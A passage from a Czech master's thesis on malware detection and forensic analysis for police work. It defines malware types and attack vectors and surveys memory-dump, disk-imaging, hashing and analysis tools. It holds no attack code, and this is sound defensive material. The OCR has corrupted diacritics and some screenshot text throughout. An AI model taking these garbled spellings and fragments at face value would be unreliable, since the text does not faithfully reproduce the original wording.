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ANOTACE

Tato diplomova prace se zabyva tématem vyhledavani malwaru v cilovych
zarizenich a zejména pak jeho naslednou analyzou, pro potfeby operativniho i
procesniho vyuziti organy PCR. Prvni ast prace uvadi do problematiky analyzy
malwaru. Vymezuje zakladni pojmy, popisuje rtzné typy Skodlivého softwaru,
formy jejich distribuce (vektory utoku), zplUsoby, jakymi je zajiSténa persistence
malwaru v opera¢nim systému a déale pak podrobnym popisem zakladnich
analytickych pfistupt. Dale jsou vtéto Casti predstaveny pouzivané nastroje
forenzni analyzy Skodlivého softwaru, at uz se jedna o forenzné analytické
distribuce operaCnich systému, automatizované analytické frameworky nebo
nastroje pro ,manualni rozbor vzorku dat. V hlavni €asti jsou pak pfedvedeny
praktické ukazky analyzy radznych druht Skodlivého softwaru.

KLICOVA SLOVA
malware * analyza malware * staticka analyza * dynamicka analyza * indikatory
kompromitace * forenzni nastroje

ANNOTATION

The Thesis is focused on the malware detection in end-user devices and
particularly on the subsequent malware analysis for the operational and procedural
usage by the Police of the Czech Republic. The first part of the Thesis presents
the issue of malware analysis. In this part is defined basic terminology, different
types of malicious software are described as well as types of their distribution
(vectors of an attack) and techniques by which malware makes itself persistent in
the operating system, it also contains detailed description of main analytical
approaches. In this part are also presented tools of forensic analysis, either
forensically analytical distributions of operating systems, automatized analytical
frameworks or tools for “manual” analysis of a data sample. Practical examples of
different types of malware analyses are demonstrated in the main part of the
Thesis.

KEYWORDS
malware * malware analysis * static analysis * dynamic analysis * indicators of
compromise * forensic tools
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Uvod

Pocitacovi uto€nici jsou pfi hledani zplsobd, jak infikovat zafizeni, velmi kreativni
a vynalézavi. Vyuzivaji velké mnozstvi forem utoku, jakymi jsou napf. zneuzivani
dosud neznamych zranitelnosti (0-day) aplikaci, zneuzivani znamych (ale
neaktualizovanych) zranitelnosti aplikaci, phishingové kampané, zneuziti uniklych
nebo slabych pfihlaSovacich udaju, pivotingu, MITM, SQL injection, XSS, CSRF,
Buffer Overflow, DDoS apod.

K utoku pfitom ale vibec nemusi dojit prostfednictvim pocitacové sité. Velmi
uspésné Ize také vyuzit riznych postupu sociotechniky napf. vyuzitim duvéfivosti
nebo nepozornosti uzivatele cilového zafizeni, odhozenim USB flashdisku s
infekci pfed bydlisttm nebo zaméstnanim obéti, vyuzitim podplacené uklizecky,
hlidace ¢€i nespokojeného zaméstnance, ktefi mohou byt ,napomocni“ pfi instalaci

Skodlivého softwaru v cilové firmé apod.

| pfes neustale zlepSujici se osvétu v oblasti po€itaCoveé bezpeclnosti a zvySujicimu
se poctu pouzivanych antivirovych programu je vSak spolec¢nost svédkem
rychlého narlistu utoku prostifednictvim Skodlivého softwaru, a to i v kontextu

probihajici hybridni valky vedené zejména Ruskou federaci? .

Analyza malwaru je tedy velice dynamicky, neustdle se rozvijejici,
interdisciplinarni obor a v ramci Cinnosti policie pfedstavuje zejména soucast

procesu vysSetfovani kybernetické kriminality.

Cilem této diplomové prace je nastinit, jak je v pfipadé podezfeni na pfitomnost
Skodlivého softwaru mozné provést jednak jeho zajisténi pro naslednou analyzu a
pak také samotna analyza malwaru. Zejména analyza pfitom klade vysoké naroky

na pracovnika provadéjiciho zkoumani zajisténych digitalnich stop.

Takovy pracovnik musi védét, jak a kde malware hledat, jak jej identifikovat, jak
z néj ziskat informace o jeho vlastnostech a funkcich a idedlné z néj zjistit

informace vedouci k uto€nikovi. Ktomu je zapotfebi spousty dovednosti a

1 NUKIB v ramci preventivnich kroki vydal v souvislosti s ozbrojenym konfliktem mezi Ruskou
federaci a Ukrajinou Varovani. NUKIB [online]. 2022 [cit. 2022-03-06]. Dostupné z:
https://nukib.cz/cs/infoservis/hrozby/1814-nukib-v-ramci-preventivnich-kroku-vydal-v-souvislosti-
s-ozbrojenym-konfliktem-mezi-ruskou-federaci-a-ukrajinou-varovani/
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znalosti, zejména z oblasti reverzniho inzenyrstvi a programovani, nebot
specialista provadéjici analyzu ¢asto pracuje se zdrojovym kdédem, ktery se ruzni
v zavislosti na pouZitém jazyku, kterym byl malware naprogramovan. Déle je
potfeba, aby byl dostateCné erudovany v problematice pocitacovych siti,
kryptografie, steganografie, aby mél hlubokou znalost bézné pouzivanych
operacnich systémua osobnich pocitacu, servert i mobilnich telefont, aby mél
pfedstavu o bézné pouzivanych vektorech atoku, typech malwaru a o jejich

funkcich a vlastnostech.

Detekce a analyza malwaru pfedstavuje permanentni vyzvu, protoze utocCnici
nalézaji stale nové a pokrocilejsi techniky, jak uniknout detekci, na coz je potfeba

urychlené reagovat.

Zde uvedené postupy zajisStovani digitalni stopy a nasledny rozbor vzorku dat (at
uz pro operativni nebo procesni vyuziti), vychazeji jednak z absolvovanych kurzu
forenzni analyzy malwaru a pracovni praxe autora této prace. Postupy byly rovnéz
konzultovany s pracovniky oddéleni pocitatové expertizy Kriminalistického ustavu

Praha.



1. Zakladni pojmy

1.1. Malware
Pojem malware (z angl. Malicious Software)? je obecny nazev, pod ktery lze
zahrnout vSechny typy Skodlivého softwaru. Skodlivy software je takovy druh
pocitaCového programu (kodu), ktery je zpusobily nezadoucim zpusobem
modifikovat (mazat, blokovat, ménit i kopirovat uZivatelska data), ovliviiovat
fungovani zafizeni, ve kterém je spustén, nebo pocitaCové sité, k niz je dané

zarizeni pfipojeno, umoznit vzdaleny pristup k zafizeni apod.

Kyberzlocinci je malware pouzivan z mnoha rdznych duvodud, naméatkou si lze

predstavit napf.:

Financ¢ni duvody:

e vykupné za zaSifrovana data (v pfipadé pouziti ransomwaru)

e kradez a prodej firemniho know-how (technologické procesy, zdrojové kédy
softwarovych feSeni atd.)

e prodej odcizenych osobnich a platebnich udaji (vykradenim databaze

klientd e-shopu, napf. vyuzitim Gtoku SQL injection)

Emocni diivody:

e podezfivavy manzel / zhrzeny exmanzel (typicky spyware)
e patologicky ctitel

e nespokojeny ex/zaméstnanec

e zvédavost

e touha otestovat své dovednosti

Ideologické duvody:

e boj aktivistickych skupin proti riznym korporacim nebo stanim institucim

e nabozensky kyberterorizmus

Valeéné davody:

2 Malware. Wikipedia: the free encyclopedia [online]. San Francisco (CA): Wikimedia Foundation,
2001- [cit. 2022-03-07]. Dostupné z: https://cs.wikipedia.org/wiki/Malware
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e Sifeni dezinformaci a vale¢né propagandy
e Utok na infrastrukturu statu (napf. na SCADA systémy elektraren apod.)
e vyfazeni vojenské techniky z provozu®

e Utok na nepratelska televizni vysilani

Malware tak muzZe slouzit k atoku na internetové bankovnictvi, odcizeni dat
uloZzenych v napadeném systému, k vydirani uzivatele, k zneuziti vypocetniho
vykonu napadeného zafizeni (napf. pro téZbu kryptomén), k vytvoreni botnetu?)
za Ucelem spusténi utokd typu DoS (Denial of Service) proti jinym sitim, ke kradeZzi

digitalni identity uZivatele zafizeni rozesilani nevyzadané posty (spamu) atd.

1.2. Druhy malware

1.3.Spyware
Spyware je druh malware, pomoci néjz jsou ziskavana data o provozu
pocitacového systému a Cinnosti uzivatele, napf. zaznamem stisknutych
klaves (keylogger), pofizovanim snimk( obrazovky (screenlogger) atd.

Tato data mohou byt nasledné exfiltrovana na datového ulozisté utocnika.

1.4.Ransomware
Ransomware neboli filecoder je druh vydéraCského malwaru, ktery
zasifruje obsah disku napadeného zafizeni a vyzaduje od obéti uhrazeni
rizné vysoké platby, aby k zaSifrovanému obsahu obnovil pfistup. Pro vétsi
psychologicky natlak na obét muze ransomware zobrazit varovani, ze
systém obéti byl pouzit k nelegalnim aktivitim nebo obsahuje nelegalni
obsah nebo muze mit ransomware vestavény vizualni odpocet €asu s

nastavenou dobou splatnosti. Pokud nebude platba uhrazena ve

3 Anonymous says Russia's spy satellites are now hacked. But the nation denies everything.
Interesting Engineering [online]. 2022 [cit. 2022-03-07]. Dostupné z:
https://interestingengineering.com/says-russia-denies-anonymous-hack-claims

4 Wikipedia: the free encyclopedia [online]. San Francisco (CA): Wikimedia Foundation, 2001-
[cit. 2022-01-13]. Dostupné z: https://cs.wikipedia.org/wiki/Botnet
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stanoveném Case, dojde ke zvySeni ceny za deSifrovani obsahu, nebo ke
smazani obsahu disku nebo se operaéni systém stane neovladatelny.

K Sifrovani dat na disku byva pouzito silné asymetrické Sifry. Programator
ransomwaru vygeneruje vefejny a soukromy Sifrovaci kli€. Vefejny je
vloZen do kédu malwaru. Po instalaci do pocitaCe vygeneruje ransomware
nahodny symetricky kli€¢ a jim zaSifruje data. Symetricky kli¢ je Sifrovan
vefejnym klicem v malwaru. Pokud obét platbu uhradi by mél autor
ransomware deSifrovat zaSifrovana data, nikde v8ak neni zaru€eno, Ze se
tak opravdu stane.

Ransomware také nemusi Sifrovat pouze data na lokalnim disku, ale maze

zaSifrovat i data pfipojenych sdilenych disku.

1.5.Backdoor
Tzv. zadni vratka neboli technika, ktera umoznuje obejit autentizaci a za
béznych okolnosti brani uzivateli v neopravnéném zasahu do pocitatoveého
systému. Maze byt vyuzita k legitimnim Gcelim, napf. pro spravu nebo

udrzbu, Casto je ale zneuzivana hackery a jinymi neopravnénymi uzivateli.

1.6.Trojsky kuan (Trojan)
Trojsky kin je typ Skodlivého koédu nebo softwaru, ktery je skryty jako
podprogram v legitimni aplikaci a po spusténi této aplikace zacne skryté
(bez védomi a souhlasu uzivatele) vykonavat Cinnost, pro kterou byl

navrzen.

1.7.Vir/Virus
PocitaCovy virus patfi mezi nejbéznéjsi druhy malwaru. NejcastéjSi formou
Sifeni je rozesilani hromadnych e-mailG s infikovanymi pfilohami nebo
odkazy. PocitaCovi Cervi nebyvaji napsani jen za ufelem své vlastni
replikace, ale vétSinou obsahuji dalSi funkce. Jedna se o Casti kédu
vykonavajiciho kromé samotného Sifeni pocitaCového Cerva také jiné
typické cCinnosti malwaru, napfiklad kradeze dat, sledovani cinnosti

uzivatele nebo vytvareni botnet(.
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1.8.Pogcitacovi ¢ervi

Pogitadovy &Gerv patfi mezi nejpé&zn&jsi druhy malwaru. Sifi se
prostfednictvim pocitaovych siti, za vyuziti zranitelnosti operacnich
systém, protoze ne kazdy pocita€ je pravidelné aktualizovan a chranén
proti ttémto zranitelnostem.

NejCastéjsi formou Sifeni je rozesilani hromadnych e-mailt s infikovanymi
prilohami nebo odkazy. Ani pocitaovi Cervi nebyvaji napsani jen za ucelem
své vlastni replikace, ale vétSinou obsahuji dalSi funkce. Jedna se o Casti
kodu vykonavajiciho kromé samotného Sifeni pocCitaCového Cerva takeé jiné
typické c&innosti malwaru, napfiklad kradeze dat, sledovani cinnosti
uzivatele nebo vytvareni botnetd.

Rozdil mezi pocitaovym &Eervem a virem spocCiva v tom, Ze €ervi maji na
rozdil od virl schopnost nezavislého Sifeni pfes sit, zatimco viry jsou
zalozeny na svém Sifeni lidskou aktivitou (sdilenim kopii infikovanych

soubort, pfeposilanim e-mailové zpravy s infikovanou pfilohou apod.)

1.9.Rootkit
Rootkit je Skodlivy koéd, ktery v pocitadi skryva svoji pfitomnost nebo
pfitomnost programu, souboru, sitovych pfipojeni, sluzeb, ovladacl a
dalSich systémovych komponent malwaru. Rootkity jsou programy, které
skryvaji existenci malwaru zachycenim a upravou volani APl operacniho
systému, ktera dodavaji systémové informace. Rootkity nebo funkce
umoznujici rootkit mohou byt umistény na urovni uzivatele systému nebo
jadra operacéniho systému nebo na jesté nizsi, v€etné hypervizoru, hlavniho
spoustéciho zaznamu nebo systémového firmwaru. Diky tomu jej bézny
anti-malwarovy nastroj prakticky nedokaze nalézt. Rootkity existuji pro

vSechny bézné platformy jakymi jsou Windows, Linux a Mac OS X.

1.10. Dropper
Dropper je druh trojského koné, ktery je navrzen tak, aby ,instaloval®
malware (viry, backdoor atd.) do cilového systému. Kéd malwaru maze byt
obsazen pfimo v dropperu takovym zpusobem, ktery brani detekci
obsazeného Skodlivého koédu antivirovymi nastroji (pak se jedna o
jednostupriovy dropper) nebo po svém spusténi provede dropper nejprve

12



analyzu prostfedi, ve kterém je spoustén, napf. zkontroluje druh a verzi
operacniho systému a antivirovych nastroji a teprve v pfipadé pfiznivého
vysledku kontroly provede stazeni malware do cilového pocitaCe (tzv.

dvoustupnovy dropper neboli downloader).

1.11. Mobilni malware

Malware designovany pro chytré mobilni telefony a tablety, napf. platformy
iOS a Android. Kromé klasickych vektort utoku (zaslani linku, fyzicka
infikace, stazeni infikovaného instala¢niho bali¢ku) se v pfipadé mobilnich
telefonl nabizi moznosti zneuziti zranitelnosti signalizaCnich protokol(
SS7° popt. zranitelnosti mobilni datové sité 2G® a instalaci malware bez
interakce uzivatele.

Malware pro mobilni telefony zaznamenava v poslednich letech velky
narust, vzhledem ke stale stoupajicimu poctu téchto zafizeni v populaci a
k neustale se zvySujicim moznostem vyuziti téchto zafizeni (pfistup
k internetovému bankovnictvi, ukladani hesel, pfistup k emailovym

schrankam atd.).

1.12. Bez-souborovy malware (fileless malware)

Jednd se o malware, ktery se nachazi pouze v paméti pocitate. BEéhem
jeho €innosti nedochazi k zapisu na pevny disk pocitace, proto je relativné
odolny vuci pocitaCoveé forenzni analyze zalozené na zkoumani soubord,
detekci podpist, ovéfovani hardwaru, analyze vzoru atd., a zanechava
velmi malo digitalnich stop, které by forenzni vySetiovatelé mohli pouzit
k identifikaci nelegitimni ¢innosti.

Utoky prostfednictvim Fileless Malwaru spadaji do kategorie tzv. Utokd
LOC (Low-Observable Characteristic), t. s malo pozorovatelnymi
charakteristikami. Takovy typ utoku se vyhyba detekci vétSinou

5 Signalling_System_No._7. Wikipedia: the free encyclopedia [online]. San Francisco (CA):
Wikimedia Foundation, 2001- [cit. 2022-01-14]. Dostupné z:
https://en.wikipedia.org/wiki/Signalling_System_No._7

6 New Mobile Network Vulnerabilities Affect All Cellular Generations Since 2G. The Hacker News
[online]. [cit. 2022-01-14]. Dostupné z: https://thehackernews.com/2021/12/new-mobile-network-
vulnerabilities.html
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bezpecnostnich opatfeni. Mnoho uatokl LOC totiz vyuziva legitimni
vestavény nastroj Microsoft Windows PowerShell, ktery je v OS Windows
implementovan jiz od verze WindowsXP ServicePack?2 a je pouzivany pro
automatizaci uloh, spravu konfigurace a slouzi jako pokrocilejsi alternativa

k puvodnimu programu cmd.exe.

ProtoZe je fileless malware navrzen tak, aby fungoval pouze v paméti, trva
jeho Zivotnost jen po dobu, kdy je pamét pocitaCe napajena elektrickym

proudem, tedy do restartu nebo vypnuti pocitace.

VétSina existujiciho malware nespada striktné do jedné kategorie, ale presahuje
do vice kategorii. Casto tedy neni dost dobfe mozné pfesné urgit typ malwaru, ale

pro jeho analyzu neni pfesna kategorizace potfeba.

1.3. Indikatory kompromitace (I0OC)
Indikatory kompromitace jsou c¢asti forenznich dat, napf. data nalezena v
zaznamech systémového protokolu nebo souborech, které identifikuji potencialné
Skodlivou aktivitu v systému nebo siti. Indikatory kompromitace napomahaji IT
profesionalim pfi odhalovani naruSeni dat, malwarovych infekci nebo jinych
hrozeb. Diky sledovani indikatord kompromitace mohou byt Utoky detekovany a
Ize na né rychle reagovat tak, aby mohlo byt zabranéno naruseni bezpecnosti

nebo omezeni Skod, zastavenim utoku v jejich asnych fazich.

Typickymi indikatory kompromitace mohou byt napf. snizeny vykon pocitace,
vyskakujici upozornéni na infikaci zafizeni s nabidkou nakupu antivirového
nastroje, neobvykly pfichozi a odchozi sitovy provoz, neobvyklé aktivity v uctu
privilegovaného uzivatele, podezielé zmény systémoveého registru nebo
systémovych souboru, d¢asté automatické otevirani reklamnich oken,
pfesmeérovani internetového prohlizeCe na neolekavané stranky, zmény profilu
mobilniho zafizeni, znamky DDoS utoku, kumulace dat na neobvyklych mistech

VvV systému apod.
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1.4. Digitalni stopa
Analyza Skodlivého softwaru predstavuje v policejni Cinnosti proces, pfi kterém,
(mimo zjistovani skute€nosti o tom, jak zkoumany vzorek dat funguje a zda
predstavuje hrozbu) jsou vyhledavany digitalni stopy, které mohou pfispét

k objasnéni trestného Cinu a ke zjisténi totoznosti pachatele.

Jak uvadi Kolouch’ ,Digitalni stopu predstavuji jakakoli data ¢i informace

11

pfenesena, vytvorena, uloZzena ¢i modifikovana za pouZziti pocitacového systému. *

Takovou stopu mohou pFedstavovat napf. metadata souboru s malwarem, IP

adresa, se kterou malware komunikuje apod.

1.5. Vektor utoku
Vektor Utoku je cesta, metoda nebo scénar, které utoCnik zvolil pro vykonéni atoku
a kziskani neopravnéného pfistupu do sité nebo poditatového systému.
Predstavuje zplsob, jakym se provadi zneuziti zranitelnosti a kompromitace
cilového systému, at' uz s vyuzitim malwaru nebo sociotechnik (technik socialniho

inzenyrstvi), pfipadné jejich kombinaci.

Je mozné jej vnimat také jako zplsob prvotni interakce s obéti utoku, jesté pred

samotnou infikaci cile.

Rozkli¢ovani vektoru utoku je podstatné z divodu mozného odhaleni Uto¢nika,
nebot objasnénim C¢asovych souvislosti, vyslechem poskozeného, forenzni
analyzou a posléze zasazenim vysledku téchto Setfeni do logickych souvislosti,
muze vést k odhaleni kontextu Utoku (napf. zda se jednalo o utok zvnéjSku nebo

zevnitf firmy) a mozna i k osobé uto¢nika (pachatele).

Zjisténi, jaké zranitelnosti bylo vyuzito, jakd je mira jeho sofistikovanosti, jak
finanéné, technologicky &i personalné naroéné musely byt pfipravy na utok,
mohou byt rovnéz indicii, zda se mohlo jednat o utok jednotlivce i organizované

skupiny uto¢nika.

7 KOLOUCH, Jan. CyberCrime. Praha: CZ.NIC, z. s. p. 0, 2016, s. 403. ISBN 978-80-88168-18-8.
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Dulezité je také zminit, Ze mnohé utoky se skladaji z kombinace vice vektora.

Typickym pFikladem je proniknuti spywaru do spoleCnosti za vyuziti technik

socialniho inZzenyrstvi nebo zaslanim phishingového e-mailu, viz Obréazek 1.
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i
i
]
I
T
]
i
T
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i
1
1

-
-
-

Anonymization
chain (VPS,
ngrok, no-ip...)

Data
collector

—

Obréazek ¢. 1 - Schéma phishingového vektoru Gtoku

Jednim z nejuspésnéji vyuzivanych vektort utoku obecné je technika socialniho
inzenyrstvi, ktera skyta nepfeberné mnozstvi moznosti, jak proniknout do cilového
systému, aniz by byl uto¢nik pfitomen nebo dokonce jak si k nému muaze utoénik
zajistit i fyzicky pfistup.
Jak jiz bylo zminéno v Uvodu, lze zneuzit duvéfivych, nevzdélanych nebo

nespokojenych zameéstnancu, personélu uklidovych firem, ostrahy objektu apod.

NejcastéjSim zplsobem dopravy malwaru do cile je zpravidla e-mail, ale vyuzit se

da i USB flash disk, cloudové ulozisté, mobilni telefon ¢i mini PC typu Raspberry

Pi (S8ikovné skryté napf. za tiskarnou nebo v kabelovych nosnych systémech),

které mize uto€nik nebo spolupracujici osoba pfipojit pfimo do sité a tu pak muze
uto¢nik na dalku kontrolovat. Pravdépodobnost uspéchu takového utoku je velmi

vysoka.
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DalSim hojné pouzivanym vektorem je odepfeni sluzby - DoS & DDoS utok (z
anglického Denial of Service/Distributed Denial of Service). Utoku byvéa provedeny
typicky prostfednictvim botnetu (sité zotroCenych pocitacl), ktery utoénik vyuzije
k pfehlceni poskytované sluzby pozadavky, nacez dojde k pretizeni a vyrazeni

sluzby z provozu.

1.6. Reverzni inzenyrstvi
Obecné lze vyraz reverzni inZenyrstvi pojmout jako proces, diky némuz se
z néjakého vysledného produktu ziskavaji znalosti o tom, jak byl vyroben,

sestaven nebo jak funguje.

V oblasti informacnich technologii je reverznim inzenyrstvim rozumén proces, pfi
kterém je, za vyuziti hardwarového a softwarového vybaveni a znalosti analytika,
zkouman zkompilovany kéd nebo jiny zajmovy softwarovy artefakt z hlediska jeho

fungovani a vnitfni struktury.

Nutnou souc€asti schopnosti analytika jsou, kromé& podrobnych znalosti
operacnich systému, také znalosti o hardwaru pocitaCe, protoze analyza
samotnych hardwarovych komponentl pocitacového systému muze byt soucasti

procesu reverzniho inzenyrstvi.

Zfejmé hlavni oblasti, ve které se reverzni inZenyrstvi ve spojitosti s bezpeénosti
informacnich a komunikaénich technologii uplatiiuje, je analyza Skodlivého
softwaru. Proces reverzniho inzenyrstvi je pfitom vyuzivan nejen analytiky, ktefi
malware zkoumaji z davodu obrany proti nému s cilem rychlé reakce na nové
varianty Skodlivého softwaru, tak aby bylo mozné co nejrychleji implementovat

vhodné protiopatfeni, ale je vyuzivano i tvirci malwaru samotnymi.

Hlavnim cilem vyuzivani postupl reverzniho inZenyrstvi, ze strany tvlrcl
malwaru, je hledat doposud neznadmé chyby v softwaru, ktery je pouzivan na
cilovych pocitatovych systémech. Mlze se jednat o chyby, které se nachazeji
v ovladacCich pouzivaného hardwaru, v samotném operacnim systému, v sitovych
komunikaénich protokolech, v pouzivanych aplikacich, jakymi jsou webové

prohlizeCe, prohlize€e a pfehravace multimédialniho obsahu, kancelaiské baliky
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apod. Na zakladé téchto objevenych chyb poté vytvareji tzv. exploity, jejichz
prostfednictvim pak mohou pronikat do cilovych systému a ty pak dale infikovat a

ovladat za vyuziti dalSiho malwaru.

Vzorky podezielého softwaru proto byvaji podrobovany analyze, ktera ma za cil
zmapovat jeho chovani. Provéfuji se proto vSechny akce, provadéné zkoumanym
softwarem a na zakladé jejich vyhodnoceni je pak mozné konstatovat, zda se
jedna o Skodlivy software, jakou miru rizika prfedstavuje a jakym zpisobem infikuje

systém.

Z vysledku provedené analyzy daného malwaru je tedy mozné predikovat, jakée
dopady na systém bude malware mit po svém spusténi a sou¢asné pak navrhnout

a implementovat vhodné protiopatieni.

2. Analytické nastroje

Analytické nastroje Ize délit podle nékolika hledisek do riznych kategorii. Podle
faze, kdy je s digitalni stopou pracovano na pre-analytické a analytické. Podle
komplexnosti, na celé forenzni distribuce operacnich systému, analytické
frameworky nebo jednotlivé analytické programy. V nasledujicim vyctu je uvedeno

nékolik vybranych nastrojl a jejich zakladni vlastnosti.

2.1. Nastroje pro pre-analytickou fazi
Jsou to nastroje, pomoci kterych probiha zajistovani digitalni stopy pro naslednou
analyzu. Témito nastroji jsou (vedle zakladnich dokumentacnich nastroj jakym je
fotoaparat) napfiklad nastroje pro pofizovani otisku paméti pocitate nebo
mobilniho telefonu a nastroje pro zajiStovani obsahu ulozisté téchto zafizeni.
Pouziti vhodného nastroje, spravnym zpusobem, je stéZejni pro provedeni
nasledné analyzy. Vystupem pouziti téchto nastroji jsou data, ktera musi
odpovidat realnému stavu dat v zafizeni, ze kterého byla v daném Case zajisténa.

Formét vystupnich dat musi byt takovy, aby umoznoval budouci analyzu.
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Mezi nastroje pouzivané pro zajisténi otisku paméti pocitate s operacnim
systtmem MS Windows patfi napf. DumplIT (viz Obrazek 2), WinPmem (viz
Obréazek 3), FTK Imager. Pro platformu GNU/Linux LinPmem nebo dd, a pro

platformu MacOSX napf. MacPmem.

Tyto nastroje je mozné na zajmovém PC spoustét z flashdisku, a to bez nutnosti

instalace nastroji do zajmového PC.

B C\Users\vahas\Desktop'Dumplt.exe - O X

.20116401 - One click memory memory dumper
Matthieu Suiche W.m
MoonSols <http: 1.moonsols. co

* Destination =

--> Are you sure you want to continue? [y/n]
+ Processing...

Obréazek ¢. 2 - Ukazka zajisténi obrazu paméti PC nastrojem Dumplt

B¥ Administrator: Pfikazovy fadek

Beg9Feoe

7eBsAB0a
Boeeoe
n mode PTE Remapping
ing from £x80008000 to @x88001080

‘obooeoee .
memory

- end: @xaBoge

(eecel1oea .
Padding from @x860A0860 to Gx60160080

Obrazek ¢&. 3 - Ukazka zajisténi obrazu paméti PC nastrojem WinPmem
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Pro zajisténi obsahu paméti mobilnich zafizeni s operacnim systémem Android

Ize pouzit nastroj ,Dumproid®-.

K zajisSténi obsahu datovych ulozist Ize pouzit jak nastroje softwarove, tak
hardwarové. Mezi softwarové nastroje patfi napfiklad graficky linuxovy nastroj
,Guymager® nebo termindlovy ,dd'%“, Clonezillal! nebo Recon ITR? od spol.

Sumuri pro souboroveé systémy APFS uzivanych na zafizenich Apple.

Mezi hardwarové prostiedky patii napfiklad produkty spolecnosti Logicube!®
(Falcon, SuperSonics-NG atd.) nebo produkty spole¢nosti Cellebrite!* (UFED
Touch, UFED4PC atd.).

Po vytvofeni souboru s otiskem paméti nebo otisku disku, je nezbytné tento
soubor opatfit kontrolnim souctem, aby bylo mozné zpétné ovéfit integritu dat.
Timto Ukonem bude zaru€eno, Ze se zajisténymi daty nebylo, od doby jejich
pofizeni az po pfipadné Fizeni pfed soudem (pokud budou zajisténé a

vyhodnocené digitalni stopy pouzity jako dukaz v trestnim Fizeni), manipulovano.

K vytvofeni kontrolniho souctu je mozné vyuzit vestavénych systémovych
nastroju, jakymi jsou ,certutil“ nebo ,Get-FileHash® (viz Obrazek 4 a 5) pro MS
Windows nebo ,sha256sum®, ,sha512sum® pro GNU/Linux nebo ,shasum® pro
MacOSX.

8 https://github.com/tkmru/dumproid/releases/
9 Guymager homepage. Guymager homepage [online]. [cit. 2022-03-08]. Dostupné z:
https://guymager.sourceforge.io/

10 pd (Unix). Wikipedia: the free encyclopedia [online]. San Francisco (CA): Wikimedia
Foundation, 2001- [cit. 2022-03-08]. Dostupné z: https://cs.wikipedia.org/wiki/Dd_(Unix)

11 Clonezilla: The Free and Open Source Software for Disk Imaging and Cloning. Clonezilla.org
[onling]. [cit. 2022-03-08]. Dostupné z: https://clonezilla.org/downloads.php

12 Sumuri.com. Recon-ITR [online]. [cit. 2022-03-08]. Dostupné z:
https://sumuri.com/software/recon-itr/

13 | ogicube.com. Logicube.com [online]. [cit. 2022-03-08]. Dostupné z: https://www.logicube.com/

14 Cellebrite. Cellebrite.com [online]. [cit. 2022-03-08]. Dostupné z: https://cellebrite.com/en/law-
enforcement/lab/
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VyS$e uvedené hardwarové nastroje, vytvareji kontrolni soucty vytvorenych obrazl
disku automaticky, a proto neni nutné po vyuziti tohoto zafizeni dodate¢né ru¢né

hashovat pofizena data.

=+ Prikazovy fadek

Obréazek ¢. 4 - Ukazka vytvoreni kontrolniho souctu nastrojem certutil

B Windows PowerShell + v — O

PS C:\Users\vahas\Documents\DP> Get-FileHash SHA256 .\mem2_image.raw | Format-List

Algorithm : SHA256
Hash : 7T6E8BE1A3761878325FDFF39A5AB1FF8UH922A0B189U7ES5268DD9175795AD2BFO
Path : C:\Users\vahas\Documents\DP\mem2_image.raw

Obrazek ¢&. 5 - Ukazka vytvoreni kontrolniho souctu prikazem v PowerShellu

Analyza dat nebo jakékoli jinA manipulace se provadi vzdy a pouze na Kopii

pavodnich dat.

2.2. Nastroje pro forenzni analyzu
Zadna forenzni analyza malwaru by se neobesla bez potfebnych nastroji. Téch
existuje nepfeberné mnozstvi, at uz se jedna o forenzni nastroje by-design nebo
o programy, které slouzi i kjinym ucCelim, ale protoze obsahuji vhodné
funkcionality, Ize je pouzit jako nastroje napomocné k provadéni analyzy. Nastroje
muzeme rozdélit do nékolika skupin. Existuji komplexni distribuce operacnich
systém( modifikovanych pro forenzni zkoumani, které obsahuji veSkeré potiebné
nastroje. Dale jsou to analytické frameworky, coz jsou aplikaéni ramce nebo
béhova prostfedi pro sadu specializovanych nastroju, které provadéji statickou i
dynamickou analyzu malwaru. NejpodstatnéjSi a nejpocetnéjSi kategorii jsou
ovSem jednotlivé analytické programy. V nasledujicim struéném seznamu jsou

uvedeny pouze ty nejznameéjSi a nejpouzivanégjsi nastroje.
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2.3. Specializované distribuce opera¢nich systému

e Flare-VM*® - je volné dostupnd, piné pfizpUsobitelna bezpecnostni
distribuce na bazi MS Windows pro analyzu malwaru, odezvu na
bezpec€nostni incidenty, penetracni testovani atd. Obsahuje nastroje pro
analyzu aplikaci OS Android (dex2jar, apktool), disassemblery (ghidra, IDA
Free), nastroje pro analyzu PE soubor(i!® a dal$i uzite¢né nastroje. Instalaci
sady nastroju je mozné provést na stavajici instalaci MS Windows 7 a 10
spusténim instala¢niho scriptu z pfikazového radku PowerShellu.

e REMnux!’ - je linuxova sada nastrojii pro reverzni inzenyrstvi a analyzu
Skodlivého softwaru. REMnux poskytuje sbirku bezplatnych nastrojl
vytvofenych komunitou. Analytici jej mohou pouzit ke zkoumani malwaru,
aniz by museli hledat, instalovat a konfigurovat nastroje. Tuto distribuci je
mozné stahnout ze stranek ve formé obrazu disku nebo je mozno
nainstalovat nastroje obsazené v distribuci REMnux do stavajici Debian-
based linuxové distribuce.

e SIFT Workstation'® - je sbirka open source nastroji pro odezvu na
bezpec€nostni incidenty a forenznich nastroju navrzenych k provadéni
podrobnych digitalnich forenznich zkoumani.

SIFT je distribuovan jako VM Appliance pro virtualizaéni nastroje
(VirtualBox, VMware, Parallels Desktop ...), dale je mozné jej instalovat jako
balik nastroju do stavajici linuxové distribuce zaloZzené na Ubuntu nebo do
MS Windows prostfednictvim systémové nastroje Windows Subsystem for

Linux.

15 https://github.com/mandiant/flare-vm
16 https://cs.wikipedia.org/wiki/Portable_Executable

17 REMnux: A Linux Toolkit for Malware Analysis. REMnux.org [online]. [cit. 2022-03-08].
Dostupné z: https://remnux.org/

18 sans Workstation. Sans.org [online]. [cit. 2022-03-08]. Dostupné z:
https://www.sans.org/tools/sift-workstation/
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2.4. Analytické frameworky

e MobSF - Mobile Security Framework'® je automatizovany testovaci
framework s webovym ovladacim rozhranim pro mobilni aplikace platforem
Android a iOS, ktery je schopen provadét statickou a dynamickou analyzu.
MobSF podporuje binarni soubory aplikaci ve formatech APK, XAPK, IPA
& APPX.

e MVT - Mobile Verification Toolkit je forenzni a vyzkumny nastroj uréeny pro
technology a vySetfovatele, kterym usnadnuje forenzni analyzu zafizeni
Android a iOS za ucelem identifikace stop kompromitace. Mize pomoci
identifikovat potencialni vektory utokd, jako jsou Skodlivé SMS a instant
messaging zpravy vedouci k exploitaci zafizeni.

e Volatility framework - je open-source forenzni framework napsany
v jazyku Python, ktery je ur€en k extrakci, dekddovani a analyze dikaznich
materiald ze systémové paméti pocitaCe. Jde o produkt spol. Volatility
Foundation?®. Existuje ve verzi pro CLI (pro pfikazovy fadek) i verzi s
grafickym rozhranim a v rlznych verzich pro programovaci jazyk Python 2
